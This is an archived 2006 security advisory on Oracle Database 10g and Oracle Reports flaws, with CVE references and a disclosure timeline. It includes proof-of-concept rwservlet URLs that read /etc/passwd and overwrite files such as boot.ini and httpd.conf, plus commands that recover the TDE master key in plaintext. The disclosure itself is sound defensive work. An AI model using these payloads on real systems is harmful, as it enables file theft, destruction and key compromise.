The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


[NEWS] Oracle Database and Report Engine Multiple Vulnerabilities


<< Previous INDEX Search src / Print Next >>
From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 19 Jan 2006 16:44:36 +0200
Subject: [NEWS] Oracle Database and Report Engine Multiple Vulnerabilities
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20060120004735.082245A0B@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru
X-Spam-Status: No, hits=2.087 tagged_above=2 required=5 tests=AWL,
 MSGID_FROM_MTA_ID, WEIRD_PORT
X-Spam-Level: **

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -




  Oracle Database and Report Engine Multiple Vulnerabilities
------------------------------------------------------------------------


SUMMARY

Lack of proper input validation in Oracle Database and Report engine 
allows attackers to cause SQL injection, directory traversal, gather 
authentication information and overwrite arbitrary files.

DETAILS

Vulnerable Systems:
 * Oracle 10g Release 1
 * Oracle Database 10g Release 2
 * Internet Application Server
 * Oracle Application Server
 * Oracle Developer Suite

SQL Injection:
The package SYS.KUPV$FT contains 3 SQL injection vulnerabilities in the 
functions ATTACH_JOB, OPEN_JOB, HAS_PRIVS. Oracle fixed these 
vulnerabilities with the package dbms_assert.
KUPV$FT   ATTACH_JOB   Parameter user_name and job_name vulnerable against 
SQL Injection
KUPV$FT  HAS_PRIVS  Parameter linkname vulnerable against SQL Injection
KUPV$FT  OPEN_JOB  Parameter user_name, job_name, operation, job_mode 
vulnerable against SQL Injection

SQL Injection:
The package SYS.KUPV$FT_INT contains 16 SQL injection vulnerabilities in 
the functions UPDATE_JOB, ACTIVE_JOB, ATTACH_POSSIBLE, ATTACH_TO_JOB, 
CREATE_NEW_JOB, DELETE_JOB, DELETE_MASTER_TABLE, DETACH_JOB, GET_JOB_INFO, 
GET_JOB_QUEUES, GET_SOLE_JOBNAME, MASTER_TBL_LOCK, VALID_HANDLE. Oracle is 
now using bind variables to fix these vulnerabilities.

KUPV$FT_INT   UPDATE_JOB   Parameter user_name, job_name vulnerable 
against SQL Injection
KUPV$FT_INT  ACTIVE_JOB  Parameter user_name, job_name vulnerable against 
SQL Injection
KUPV$FT_INT  ATTACH_POSSIBLE  Parameter user_name, job_name vulnerable 
against SQL Injection
KUPV$FT_INT  ATTACH_TO_JOB  Parameter jobid vulnerable against SQL 
Injection
KUPV$FT_INT  CREATE_NEW_JOB  Parameter user_name, job_name vulnerable 
against SQL Injection
KUPV$FT_INT  DELETE_JOB  Parameter user_name, job_name vulnerable against 
SQL Injection
KUPV$FT_INT  DELETE_MASTER_TABLE  Parameter user_name, job_name vulnerable 
against SQL Injection
KUPV$FT_INT  DETACH_JOB  Parameter handle vulnerable against SQL Injection
KUPV$FT_INT  GET_JOB_INFO  Parameter handle, job_id vulnerable against SQL 
Injection
KUPV$FT_INT  GET_JOB_INFO (2nd function)  Parameter user_name, job_name 
vulnerable against SQL Injection
KUPV$FT_INT  GET_JOB_QUEUES  Parameter handle, job_id vulnerable against 
SQL Injection
KUPV$FT_INT  GET_JOB_QUEUES (2nd function)  Parameter user_name, job_name 
vulnerable against SQL Injection
KUPV$FT_INT  GET_SOLE_JOBNAME  Parameter user_name is vulnerable against 
SQL Injection
KUPV$FT_INT  MASTER_TBL_LOCK  Parameter user_name, job_name, master_objid 
vulnerable against SQL Injection
KUPV$FT_INT  SET_EVENT  Parameter event_number, level vulnerable against 
SQL Injection
KUPV$FT_INT  VALID_HANDLE  Parameter handle vulnerable against SQL 
Injection

Informatiom Disclosure:
The Oracle security feature "Transparent Data Encryption" is storing the 
masterkey unencrypted in the SGA. A skilled attacker or non-security DBA 
can retrieve the plaintext masterkey.

Example:
SQL> ALTER SYSTEM SET WALLET OPEN IDENTIFIED BY "secretpassword";

System altered.
SQL> exit
Disconnected from Oracle Database 10g Enterprise Edition Release 
10.2.0.1.0 Production With the Partitioning, OLAP and Data Mining options


[oracle@ora10201 /]$ export DUMPSGA_DIR=/oracle/10.2.0/bin

[oracle@ora10201 /]$ cd /tmp

[oracle@ora10201 /]$ dumpsga

[oracle@ora10201 /]$ strings * | grep -iH secretpassword

secretpassword
secretpassword
secretpassword


[] Excerpt from the SGA
/oracle/10.2.0/admin/ora01/wallet/^@"[q^@^@  
d$d$^@?y*cle/10.2.0/admin/ora10201/wallet/^@^@^@^@^@^9^@^@0 d$d d$-

^@^@0 d$L4^L ^Xp / ]/ <8f>^Dsecretpassword^@^M^U^B^@ d$ 
4^Lfile:/oracle/10.2.0/admin/ora10201/wallet
[]

Directory Traversal:
Oracle Reports is Oracle's award-winning, high-fidelity enterprise 
reporting tool.

It enables businesses to give immediate access to information to all 
levels within and outside of the organization in an unrivaled scalable and 
secure environment. Oracle Reports, a component of the Oracle Application 
Server, is used by Oracle itself for the E-Business Suite. Many large 
customers are using Oracle Reports as reporting tool for their enterprise 
applications.

The Oracle Reports parameter customize can read any file by using an 
absolute or relative file name.
Parts of the file content are displayed in the Reports error message.

Example:
http://myserver:7778/reports/rwservlet?server=myserver report=test.rdf 
userid=scott/tiger@iasdb destype=cache desformat=xml 
CUSTOMIZE=/opt/ORACLE/ias/oracle/product/9.0.2/webcache/webcache.xml

***Reports Output****

REP--866648059: Error in the XML report definition at line 3 in 'Element 
'CALYPSO' used but not declared.'.

***Reports Output****

File Overwrite:
By specifing a special value for the parameter desname Oracle Reports can 
overwrite any file on the application server.

On Windows systems an attacker can overwrite any files (e.g. boot.ini) on 
the application server.
On UNIX system an attacker can overwrite all files (e.g. opmn.xml) which 
belongs to the Oracle Application Server user.

This attack can be done with a simple URL.

Proof of Concept:
Overwrite the boot.ini with the ../-syntax with PDF output (on a Windows 
system)
http://myserver.com:7779/reports/rwservlet?server=repserv 
userid=scott/tiger@iasdb report=anyreport.rdf destype=file desformat=PDF 
desname=../../../boot.ini

Overwrite the boot.ini via an absolute path with PDF output (on a Windows 
system)
http://myserver.com:7779/reports/rwservlet?server=repserv 
userid=scott/tiger@iasdb report=anyreport.rdf destype=file desformat=PDF 
desname=c:\boot.ini

Overwrite the file httpd.conf with PDF output (on a UNIX system)
http://myserver.com:7779/reports/rwservlet?server=repserv myconn 
report=anyreport.rdf destype=file desformat=PDF 
desname=/oracle/iasapp/Apache/Apache/conf/httpd.conf

Overwrite any report (or form) with PDF output (on a UNIX system)
http://myserver.com:7779/reports/rwservlet?server=repserv myconn 
report=anyreport.rdf destype=file desformat=PDF 
desname=/oracle/iasapp/reports/anyreport.rdf

Directory Traversal:
The Oracle Reports parameter desformat can read any file by using an 
absolute or relative file name.
Parts of the file content are displayed in the Reports error message.

The DESFORMAT parameter specifies the format for the job output. In 
bit-mapped environments, use DESFORMAT to specify the printer driver to be 
used when DESTYPE is FILE.
In character-mode environments, use it to specify the characteristics of 
the printer named in DESNAME.

Proof of Concept:
http://myserver:7778/reports/rwservlet?server=myserver report=test.rdf 
userid=scott/tiger@iasdb destype=file MODE=CHARACTER desformat=/etc/passwd

***Reports Output****

REP-3002: Error in column 5 of line 1 of printer definition file 
/etc/passwd:Unknown keyword "root".
REP-3002: Error initializing printer. Please make sure a printer is 
installed.

***Reports Output****

Information Disclosure:
The event 10053 is storing the masterkey of Oracle Transparent Data 
Encryption unencrypted in a trace-file. A skilled attacker or non-security 
DBA could set this special event to get the plaintext masterkey for the 
TDE encryption.

Proof of Concept:
SQL> alter session set events='10053 trace name context forever, level
SQL> 1';

Session altered.

SQL> ALTER SYSTEM SET WALLET OPEN IDENTIFIED BY "secretpassword";

Information Disclosure:
The event 10053 is storing the masterkey of Oracle Transparent Data 
Encryption unencrypted in a trace-file. A skilled attacker or non-security 
DBA could set this special event to get the plaintext masterkey for the 
TDE encryption.

Proof of Concept:
SQL> alter session set events='10053 trace name context forever, level
1';

Session altered.

SQL> ALTER SYSTEM SET WALLET OPEN IDENTIFIED BY "secretpassword";

System altered.

CVE Information:
 <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2371>; 
CAN-2005-2371
 <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2378>; 
CAN-2005-2378

Disclosure Timeline:
12-aug-2003 Oracle secalert was informed
26-aug-2003 Oracle secalert was informed about Read parts of files via 
customize
27-aug-2003 The Read parts of files via customize bug confirmed
27-aug-2003 Oracle secalert was informed
27-aug-2003 Bug confirmed
26-sep-2003 Bug confirmed
15-apr-2005 Red-Database-Security informed Oracle secalert that this 
vulnerability will publish after CPU July 2005 Red-Database-Security 
offered Oracle more time if it is not possible to provide a fix ==> NO 
FEEDBACK.
11-jul-2005 Oracle secalert was informed
12-jul-2005 Bug confirmed
12-jul-2005 Oracle published CPU July 2005 without fixing the issues
18-jul-2005 Red-Database-Security published this advisory
21-jul-2005 Cert VU# and affected products added
25-aug-2005 CVE number added
16-sep-2005 Workaround was incomplete and is now correct (Thanks to D. 
Nachbar for this information)
01-nov-2005 Oracle secalert was informed about the two SQL injections
02-nov-2005 Oracle secalert asked for an exploit for SQL Injections
13-jan-2005 days since initial report updated
11-jul-2005 Oracle secalert was informed
12-jul-2005 Bug confirmed
18-jul-2005 Red-Database-Security published this advisory
17-jan-2006 Oracle published CPU January 2006
17-jan-2006 Advisory published
17-jan-2006 Oracle published the Critical Patch Update January 2006 (CPU 
January 2006)


ADDITIONAL INFORMATION

The information has been provided by  
<mailto:ak@red-database-security.com.> Kornbrust, Alexander.




This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] In order to subscribe to the mailing list, simply forward this email to: [email protected]

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

<< Previous INDEX Search src / Print Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру